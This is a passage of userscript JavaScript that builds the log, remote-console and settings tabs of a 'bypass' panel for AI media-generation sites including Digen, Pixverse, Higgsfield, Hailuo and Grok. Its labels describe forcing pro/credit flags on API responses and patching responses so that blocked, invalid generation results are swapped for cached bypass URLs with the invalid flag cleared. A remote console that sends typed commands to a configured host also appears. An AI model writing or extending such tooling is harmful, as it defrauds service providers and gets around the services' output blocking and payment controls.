docsBtn.onclick = () => {
showSharedNetworkDocsDialog();
};
const titleBtns = document.createElement('div');
titleBtns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; align-items:center;';
titleBtns.appendChild(infoBtn);
titleBtns.appendChild(docsBtn);
title.appendChild(titleBtns);
top.appendChild(title);
const cfg = document.createElement('div');
cfg.style.cssText = `display:grid; gap:6px; font-size:12px; color:${colors.textSecondary};`;
cfg.setAttribute('data-bypass-sharednet-cfg', 'true');
cfg.innerHTML = `
<div><strong style="color:${colors.text};">Host:</strong> <span style="font-family:monospace;">${escapeHtml(settings.sharedNetworkHost || '')}</span></div>
<div><strong style="color:${colors.text};">Method:</strong> ${escapeHtml((settings.sharedNetworkMethod || 'http').toUpperCase())} • <strong style="color:${colors.text};">Payload:</strong> ${escapeHtml(settings.sharedNetworkPayloadMode || 'file')}</div>
<div><strong style="color:${colors.text};">Localhost:</strong> <span style="color:${isLocal ? colors.success : colors.warning}; font-weight:700;">${isLocal ? 'YES (safer)' : 'NO (be careful)'}</span></div>
`;
top.appendChild(cfg);
if (settings.sharedNetworkHost && !isLocal) {
const warn = document.createElement('div');
warn.setAttribute('data-bypass-sharednet-warn', 'true');
warn.style.cssText = `
margin-top: 4px;
padding: 10px;
border-radius: 10px;
border: 1px solid rgba(239,68,68,0.35);
background: rgba(239,68,68,0.10);
color: ${colors.text};
font-size: 12px;
line-height: 1.45;
`;
warn.innerHTML = '<strong style="color:#fecaca;"><i class="fas fa-triangle-exclamation"></i> Non-localhost host</strong><br>Only send to servers you fully control. Shared exports can include sensitive data.';
top.appendChild(warn);
}
const status = document.createElement('div');
status.style.cssText = `
display:flex;
gap:10px;
flex-wrap:wrap;
align-items:center;
justify-content:space-between;
padding-top: 6px;
border-top: 1px dashed ${colors.border};
`;
const statusLeft = document.createElement('div');
statusLeft.style.cssText = `display:grid; gap:4px; font-size:11px; color:${colors.textSecondary};`;
statusLeft.setAttribute('data-bypass-sharednet-status-left', 'true');
const httpStatusText = sharedNetworkHttpStatus.checkedAt
? `${sharedNetworkHttpStatus.ok ? 'OK' : 'FAIL'}${sharedNetworkHttpStatus.status ? ` (${sharedNetworkHttpStatus.status})` : ''} • ${new Date(sharedNetworkHttpStatus.checkedAt).toLocaleTimeString()}`
: 'Not checked yet';
const wsStatusText = sharedNetworkWsState.status || 'disconnected';
statusLeft.innerHTML = `
<div><strong style="color:${colors.text};">HTTP health:</strong> ${escapeHtml(httpStatusText)}${sharedNetworkHttpStatus.error ? ` • ${escapeHtml(String(sharedNetworkHttpStatus.error).slice(0, 120))}` : ''}</div>
<div><strong style="color:${colors.text};">WS:</strong> ${escapeHtml(wsStatusText)}${sharedNetworkWsState.url ? ` • <span style="font-family:monospace;">${escapeHtml(sharedNetworkWsState.url)}</span>` : ''}</div>
`;
const statusRight = document.createElement('div');
statusRight.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; align-items:center;';
const mkBtn = (cls, html, onClick) => {
const b = document.createElement('button');
b.className = cls;
b.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
b.innerHTML = html;
b.onclick = onClick;
return b;
};
statusRight.appendChild(mkBtn('bypass-btn bypass-btn-secondary', '<i class="fas fa-heart-pulse"></i> Check server', async () => {
await sharedNetCheckServerHealth();
sharedNetScheduleTabRefresh();
}));
if (settings.sharedNetworkMethod === 'ws') {
statusRight.appendChild(mkBtn('bypass-btn bypass-btn-secondary', '<i class="fas fa-plug"></i> Connect WS', async () => {
try {
await sharedNetWsEnsureConnected();
sharedNetScheduleTabRefresh();
} catch (e) {
showToast(`WS connect failed: ${e?.message || e}`, 'error');
}
}));
statusRight.appendChild(mkBtn('bypass-btn bypass-btn-danger', '<i class="fas fa-ban"></i> Disconnect', () => {
sharedNetWsDisconnect('manual');
sharedNetScheduleTabRefresh();
}));
}
statusRight.appendChild(mkBtn('bypass-btn bypass-btn-primary', '<i class="fas fa-paper-plane"></i> Send cached tasks', async () => {
await sharedNetSendCachedTasksNow();
sharedNetScheduleTabRefresh();
}));
status.appendChild(statusLeft);
status.appendChild(statusRight);
top.appendChild(status);
wrap.appendChild(top);
// Progress bar (hidden by default)
const progress = document.createElement('div');
progress.setAttribute('data-bypass-sharednet-progress', 'true');
progress.style.cssText = `
border: 1px solid ${colors.border};
border-radius: 12px;
padding: 10px 12px;
background: ${colors.bgSecondary};
display: ${sharedNetworkProgress.visible ? 'grid' : 'none'};
gap: 8px;
`;
const pct = sharedNetworkProgress.total > 0
? Math.max(0, Math.min(100, Math.round((sharedNetworkProgress.current / sharedNetworkProgress.total) * 100)))
: 0;
progress.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:10px; font-size:11px; color:${colors.textSecondary};">
<div style="min-width:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;">${escapeHtml(sharedNetworkProgress.label || 'Working…')}</div>
<div style="font-family:monospace;">${escapeHtml(String(sharedNetworkProgress.current))}/${escapeHtml(String(sharedNetworkProgress.total))}</div>
</div>
<div style="height:10px; border-radius:999px; background: rgba(148,163,184,0.18); overflow:hidden;">
<div style="height:100%; width:${pct}%; background:${colors.primary}; border-radius:999px;"></div>
</div>
`;
wrap.appendChild(progress);
// Remote control console
if (settings.sharedNetworkRemoteControlEnabled) {
const consoleWrap = document.createElement('div');
consoleWrap.style.cssText = `
border: 1px solid ${colors.border};
border-radius: 12px;
padding: 12px;
background: ${colors.bgSecondary};
display: grid;
gap: 8px;
`;
const header = document.createElement('div');
header.style.cssText = `display:flex; align-items:center; justify-content:space-between; gap:10px;`;
header.innerHTML = `<div style="font-size:12px; font-weight:800; color:${colors.text};"><i class="fas fa-terminal" style="margin-right:8px; color:${colors.primary};"></i> Remote Console</div>`;
const hint = document.createElement('div');
hint.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.35;`;
hint.textContent = 'Sends a text command to your host (use only on trusted servers).';
const row = document.createElement('div');
row.style.cssText = 'display:flex; gap:8px; align-items:center;';
const input = document.createElement('input');
input.type = 'text';
input.placeholder = 'Enter command (e.g., I-TB: ... )';
input.style.cssText = `flex:1; padding:10px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; font-size:12px;`;
const sendBtn = document.createElement('button');
sendBtn.className = 'bypass-btn bypass-btn-primary';
sendBtn.style.cssText = 'width:auto; padding:10px 12px; font-size:11px;';
sendBtn.innerHTML = '<i class="fas fa-paper-plane"></i> Send';
const send = async () => {
const cmd = input.value;
input.value = '';
const res = await sharedNetSendCommand(cmd);
if (!res?.ok) {
showToast(res?.error || 'Command failed', 'error');
} else {
showToast('Command sent', 'success');
}
sharedNetScheduleTabRefresh();
};
sendBtn.onclick = send;
input.addEventListener('keydown', (e) => {
if (e.key === 'Enter') send();
});
row.appendChild(input);
row.appendChild(sendBtn);
consoleWrap.appendChild(header);
consoleWrap.appendChild(hint);
consoleWrap.appendChild(row);
wrap.appendChild(consoleWrap);
}
// Logs
const logsWrap = document.createElement('div');
logsWrap.style.cssText = `
border: 1px solid ${colors.border};
border-radius: 12px;
overflow: hidden;
background: ${colors.bgSecondary};
display:flex;
flex-direction:column;
min-height: 220px;
`;
const logsHeader = document.createElement('div');
logsHeader.style.cssText = `display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
logsHeader.innerHTML = `<div style="font-size:12px; font-weight:800; color:${colors.text};"><i class="fas fa-list" style="margin-right:8px; color:${colors.primary};"></i> Shared Network Logs</div><div data-bypass-sharednet-logs-count="true" style="font-size:11px; color:${colors.textSecondary};">${sharedNetworkLogs.length} entries</div>`;
const logsActions = document.createElement('div');
logsActions.style.cssText = 'display:flex; gap:8px;';
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-secondary';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-broom"></i> Clear';
clearBtn.onclick = () => {
sharedNetworkLogs.length = 0;
showToast('Shared Network logs cleared', 'success');
sharedNetScheduleTabRefresh();
};
logsActions.appendChild(clearBtn);
logsHeader.appendChild(logsActions);
const logsBody = document.createElement('div');
logsBody.style.cssText = `flex:1; overflow:auto; padding:10px 12px; background:${colors.bg};`;
logsBody.setAttribute('data-bypass-sharednet-logs-body', 'true');
const levelColor = (lvl) => {
const v = String(lvl || '').toLowerCase();
if (v === 'error') return '#ef4444';
if (v === 'warning') return '#f59e0b';
if (v === 'success') return '#10b981';
return colors.textSecondary;
};
if (!sharedNetworkLogs.length) {
logsBody.innerHTML = `<div style="color:${colors.textSecondary}; font-size:12px; padding:14px; text-align:center;">No logs yet.</div>`;
} else {
sharedNetworkLogs.slice(0, 200).forEach(entry => {
const row = document.createElement('div');
row.style.cssText = `
display:grid;
grid-template-columns: 78px 1fr;
gap:10px;
padding:6px 0;
border-bottom: 1px dashed rgba(148,163,184,0.18);
font-size: 11px;
color: ${colors.textSecondary};
`;
const time = document.createElement('div');
time.style.cssText = `font-family:monospace; color:${levelColor(entry.level)};`;
time.textContent = (entry.ts || '').slice(11, 19);
const msg = document.createElement('div');
msg.style.cssText = 'min-width:0;';
const details = entry.details ? `\n${JSON.stringify(entry.details).slice(0, 2000)}` : '';
msg.textContent = `${entry.message}${details}`;
row.appendChild(time);
row.appendChild(msg);
logsBody.appendChild(row);
});
}
logsWrap.appendChild(logsHeader);
logsWrap.appendChild(logsBody);
wrap.appendChild(logsWrap);
content.appendChild(wrap);
} else if (currentTab === 'digenBackground') {
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';
const top = document.createElement('div');
top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(14,116,144,0.45); border-radius:12px; background:linear-gradient(135deg, rgba(8,145,178,0.20), rgba(2,132,199,0.12));';
top.innerHTML = '<div style="font-size:12px;color:#e0f2fe;font-weight:700;"><i class="fas fa-microchip" style="margin-right:8px;color:#67e8f9;"></i>Digen Background Process Logs</div>';
const btns = document.createElement('div');
btns.style.cssText = 'display:flex; gap:8px;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
exportBtn.onclick = () => {
try {
exportDigenLogsToJson();
} catch (err) {
addDigenUiLog('error', 'Failed to export Digen logs', { error: String(err?.message || err) });
showToast('Failed to export Digen logs', 'error');
}
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
clearDigenUiLogs();
refreshLiveLogPanelOrSchedule('digen');
};
btns.appendChild(refreshBtn);
btns.appendChild(exportBtn);
btns.appendChild(clearBtn);
top.appendChild(btns);
wrap.appendChild(top);
const logBox = document.createElement('div');
logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(56,189,248,0.35); border-radius:12px; background:#03111a; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
logBox.setAttribute('data-bypass-live-log-box', 'digen');
renderLiveLogPanelBody(logBox, 'digen');
wrap.appendChild(logBox);
content.appendChild(wrap);
} else if (currentTab === 'tensorInterceptBackground') {
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';
const top = document.createElement('div');
top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(245,158,11,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(245,158,11,0.18), rgba(59,130,246,0.10));';
top.innerHTML = `<div style="font-size:12px;color:#fef3c7;font-weight:700;"><i class="fas fa-bolt" style="margin-right:8px;color:#fbbf24;"></i>Tensor Intercept Logs <span style="font-weight:500;color:#cbd5e1;">(${settings.xhrInterceptEnabled ? 'mode ON' : 'mode OFF'} • max ${Math.max(50, Number(settings.tensorInterceptMaxLogs) || 600)})</span> <span data-bypass-live-log-count="tensorIntercept" style="font-weight:500;color:#94a3b8;">0 entries</span></div>`;
const btns = document.createElement('div');
btns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-primary';
copyBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy Logs';
copyBtn.onclick = async () => {
try {
await copyTensorInterceptLogsToClipboard();
} catch {
showToast('Failed to copy Tensor intercept logs', 'error');
}
};
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
exportBtn.onclick = () => {
try {
exportTensorInterceptLogsToJson();
} catch {
showToast('Failed to export Tensor intercept logs', 'error');
}
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
clearTensorInterceptLogs();
refreshLiveLogPanelOrSchedule('tensorIntercept');
};
btns.appendChild(refreshBtn);
btns.appendChild(copyBtn);
btns.appendChild(exportBtn);
btns.appendChild(clearBtn);
top.appendChild(btns);
wrap.appendChild(top);
const statusCard = document.createElement('div');
statusCard.style.cssText = 'display:grid; gap:6px; padding:10px 12px; border:1px solid rgba(148,163,184,0.22); border-radius:12px; background:rgba(15,23,42,0.5); font-size:12px; color:#cbd5e1;';
statusCard.innerHTML = `
<div><strong style="color:#f8fafc;">Mode:</strong> <span style="color:${settings.xhrInterceptEnabled ? '#22c55e' : '#f87171'}; font-weight:700;">${settings.xhrInterceptEnabled ? 'ENABLED' : 'DISABLED'}</span></div>
<div><strong style="color:#f8fafc;">Request rewrite:</strong> Force <code>size=10</code> on <code>/works/v1/works/tasks/query</code> (${settings.xhrInterceptEnabled ? 'active' : 'idle'})</div>
<div><strong style="color:#f8fafc;">Response patch:</strong> Replace blocked invalid FINISH items with cached bypass URLs, clear invalid flag, and prefix <code>FREEInterent-</code>.</div>
`;
wrap.appendChild(statusCard);
const logBox = document.createElement('div');
logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(245,158,11,0.30); border-radius:12px; background:#140d05; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
logBox.setAttribute('data-bypass-live-log-box', 'tensorIntercept');
renderLiveLogPanelBody(logBox, 'tensorIntercept');
wrap.appendChild(logBox);
content.appendChild(wrap);
} else if (currentTab === 'pixverseBackground') {
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';
const top = document.createElement('div');
top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(99,102,241,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(99,102,241,0.18), rgba(14,165,233,0.10));';
top.innerHTML = '<div style="font-size:12px;color:#e2e8f0;font-weight:700;"><i class="fas fa-wave-square" style="margin-right:8px;color:#60a5fa;"></i>Background Bypass Runtime Logs <span data-bypass-live-log-count="pixverse" style="font-weight:500;color:#94a3b8;">0 entries</span></div>';
const btns = document.createElement('div');
btns.style.cssText = 'display:flex; gap:8px;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-primary';
copyBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy Logs';
copyBtn.onclick = async () => {
try {
await copyPixverseLogsToClipboard();
} catch {
showToast('Failed to copy Pixverse logs', 'error');
}
};
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
exportBtn.onclick = () => {
try {
exportPixverseLogsToJson();
} catch {
showToast('Failed to export Pixverse logs', 'error');
}
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
clearPixverseUiLogs();
refreshLiveLogPanelOrSchedule('pixverse');
};
btns.appendChild(refreshBtn);
btns.appendChild(copyBtn);
btns.appendChild(exportBtn);
btns.appendChild(clearBtn);
top.appendChild(btns);
wrap.appendChild(top);
const logBox = document.createElement('div');
logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(99,102,241,0.3); border-radius:12px; background:#050816; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
logBox.setAttribute('data-bypass-live-log-box', 'pixverse');
renderLiveLogPanelBody(logBox, 'pixverse');
wrap.appendChild(logBox);
content.appendChild(wrap);
} else if (currentTab === 'higgsfieldBackground') {
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';
const [jobs, souls] = await Promise.all([getHiggsfieldJobsForUi(), getHiggsfieldSoulsForUi()]);
const top = document.createElement('div');
top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(96,165,250,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(96,165,250,0.18), rgba(245,158,11,0.08));';
top.innerHTML = `<div style="font-size:12px;color:#e2e8f0;font-weight:700;"><i class="fas fa-flask-vial" style="margin-right:8px;color:#60a5fa;"></i>Higgsfield Background Logs <span style="font-weight:500;color:#94a3b8;">(${jobs.length} jobs • ${souls.length} souls)</span> <span data-bypass-live-log-count="higgsfield" style="font-weight:500;color:#94a3b8;">0 entries</span></div>`;
const btns = document.createElement('div');
btns.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
exportBtn.onclick = () => {
try {
exportHiggsfieldLogsToJson();
} catch {
showToast('Failed to export Higgsfield logs', 'error');
}
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
clearHiggsfieldUiLogs();
refreshLiveLogPanelOrSchedule('higgsfield');
};
btns.appendChild(refreshBtn);
btns.appendChild(exportBtn);
btns.appendChild(clearBtn);
top.appendChild(btns);
wrap.appendChild(top);
const logBox = document.createElement('div');
logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(96,165,250,0.25); border-radius:12px; background:#07111c; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
logBox.setAttribute('data-bypass-live-log-box', 'higgsfield');
renderLiveLogPanelBody(logBox, 'higgsfield');
wrap.appendChild(logBox);
content.appendChild(wrap);
} else if (currentTab === 'hailuoBackground') {
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';
const top = document.createElement('div');
top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(34,197,94,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(34,197,94,0.16), rgba(14,165,233,0.08));';
top.innerHTML = '<div style="font-size:12px;color:#dcfce7;font-weight:700;"><i class="fas fa-bolt" style="margin-right:8px;color:#22c55e;"></i>Hailuo Runtime Logs</div>';
const btns = document.createElement('div');
btns.style.cssText = 'display:flex; gap:8px;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
exportBtn.onclick = () => {
try {
exportHailuoLogsToJson();
} catch {
showToast('Failed to export Hailuo logs', 'error');
}
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
clearHailuoUiLogs();
refreshLiveLogPanelOrSchedule('hailuo');
};
btns.appendChild(refreshBtn);
btns.appendChild(exportBtn);
btns.appendChild(clearBtn);
top.appendChild(btns);
wrap.appendChild(top);
const logBox = document.createElement('div');
logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(34,197,94,0.25); border-radius:12px; background:#04120a; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
logBox.setAttribute('data-bypass-live-log-box', 'hailuo');
renderLiveLogPanelBody(logBox, 'hailuo');
wrap.appendChild(logBox);
content.appendChild(wrap);
} else if (currentTab === 'grokBackground') {
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:10px; height:100%;';
const top = document.createElement('div');
top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px; padding:10px 12px; border:1px solid rgba(99,102,241,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(99,102,241,0.18), rgba(14,165,233,0.10));';
top.innerHTML = '<div style="font-size:12px;color:#e2e8f0;font-weight:700;"><i class="fas fa-wave-square" style="margin-right:8px;color:#60a5fa;"></i>Grok Runtime Logs <span data-bypass-live-log-count="grok" style="font-weight:500;color:#94a3b8;">0 entries</span></div>';
const btns = document.createElement('div');
btns.style.cssText = 'display:flex; gap:8px;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
exportBtn.onclick = () => {
try {
exportGrokLogsToJson();
} catch {
showToast('Failed to export Grok logs', 'error');
}
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
clearGrokUiLogs();
refreshLiveLogPanelOrSchedule('grok');
};
btns.appendChild(refreshBtn);
btns.appendChild(exportBtn);
btns.appendChild(clearBtn);
top.appendChild(btns);
wrap.appendChild(top);
const logBox = document.createElement('div');
logBox.style.cssText = 'flex:1; min-height:280px; max-height:100%; overflow:auto; border:1px solid rgba(99,102,241,0.3); border-radius:12px; background:#050816; padding:10px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;';
logBox.setAttribute('data-bypass-live-log-box', 'grok');
renderLiveLogPanelBody(logBox, 'grok');
wrap.appendChild(logBox);
content.appendChild(wrap);
} else if (currentTab === 'settings') {
// Settings form (checkbox-only)
const colors = getThemeColors();
const form = document.createElement('div');
form.style.display = 'flex';
form.style.flexDirection = 'column';
form.style.gap = '12px';
const searchWrap = document.createElement('div');
searchWrap.dataset.settingsSearchControls = 'true';
searchWrap.style.cssText = `
display:flex;
flex-direction:column;
gap:8px;
padding:12px;
border:1px solid ${colors.border};
border-radius:12px;
background:${colors.bgSecondary};
`;
const searchLabel = document.createElement('div');
searchLabel.style.cssText = `font-size:12px; font-weight:700; color:${colors.text}; letter-spacing:0.3px;`;
searchLabel.innerHTML = '<i class="fas fa-magnifying-glass"></i> Search settings';
const searchInput = document.createElement('input');
searchInput.type = 'text';
searchInput.className = 'bypass-input';
searchInput.placeholder = 'Search labels, options, notes, help text...';
searchInput.value = settingsSearchQuery;
searchInput.style.fontFamily = 'inherit';
const searchMeta = document.createElement('div');
searchMeta.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.45;`;
searchMeta.textContent = 'Matches setting names, descriptions, warning notes, and helper text.';
searchWrap.appendChild(searchLabel);
searchWrap.appendChild(searchInput);
searchWrap.appendChild(searchMeta);
form.appendChild(searchWrap);
const searchEmptyState = document.createElement('div');
searchEmptyState.style.cssText = `display:none; padding:10px 12px; border:1px dashed ${colors.border}; border-radius:10px; font-size:12px; color:${colors.textSecondary}; background:${colors.bgSecondary};`;
const sharedNotifySection = createUnifiedNotificationSettingsSection(colors);
form.appendChild(sharedNotifySection.section);
if (IS_DIGEN_DOMAIN) {
const infoNote = document.createElement('div');
infoNote.style.cssText = `
background: rgba(8, 145, 178, 0.12);
border: 1px solid rgba(34, 211, 238, 0.35);
border-radius: 10px;
padding: 12px;
font-size: 12px;
line-height: 1.5;
color: #cffafe;
`;
infoNote.innerHTML = '<strong style="color:#22d3ee; display:block; margin-bottom:6px;"><i class="fas fa-sliders"></i> Digen Settings</strong>Configure Digen bypass, capture behavior, and background process logs.';
form.appendChild(infoNote);
const digenSection = createCollapsibleSection('Digen Controls', 'fa-robot', true);
const mkToggle = (id, labelText, tooltipText) => {
const { row, input } = createSettingsToggleRow({
labelText,
tooltip: tooltipText,
checked: !!settings[id],
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
};
return row;
};
digenSection.content.appendChild(mkToggle('digenEnableProBypass', 'Enable pro/credit bypass', 'Forces pro-like response flags on Digen API payloads.'));
digenSection.content.appendChild(mkToggle('digenCaptureItems', 'Capture Digen items/jobs', 'Store jobs from Digen API into IndexedDB for Items tab.'));
digenSection.content.appendChild(mkToggle('digenAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh floating panel automatically when new Digen data arrives.'));
digenSection.content.appendChild(mkToggle('digenEnableUiLogs', 'Enable background process logs', 'Show Digen runtime logs in Background Process tab.'));
const maxLogsRow = document.createElement('div');
maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
const maxLogsLabel = document.createElement('div');
maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
maxLogsLabel.textContent = 'Max Digen log entries';
const maxLogsInput = document.createElement('input');
maxLogsInput.type = 'number';
maxLogsInput.min = '50';
maxLogsInput.max = '3000';
maxLogsInput.step = '50';
maxLogsInput.value = String(Math.max(50, Number(settings.digenMaxLogs) || 500));
maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
maxLogsInput.onchange = () => {
settings.digenMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 500));
saveSettings();
};
maxLogsRow.appendChild(maxLogsLabel);
maxLogsRow.appendChild(maxLogsInput);
digenSection.content.appendChild(maxLogsRow);
const actionsRow = document.createElement('div');
actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
const clearLogsBtn = document.createElement('button');
clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Digen Logs';
clearLogsBtn.onclick = () => {
clearDigenUiLogs();
showToast('Digen logs cleared', 'success');
};
const exportLogsBtn = document.createElement('button');
